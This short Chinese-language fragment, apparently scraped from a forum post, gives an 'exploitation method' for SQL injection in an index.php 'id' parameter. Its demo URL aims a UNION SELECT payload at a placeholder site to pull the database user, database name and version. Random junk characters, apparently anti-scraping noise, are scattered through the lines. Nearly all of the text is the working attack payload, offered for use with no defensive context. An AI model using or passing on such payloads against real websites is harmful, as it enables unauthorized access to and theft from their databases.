利用方法:
% Q0 D! n; [ w# y& {: l* a http://www.xxx.com/index.php?id=[SQL]! e9 X9 y) G% a3 n- R9 r, q
Demo:
' n+ I- h/ c. j$ c! P1 k http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |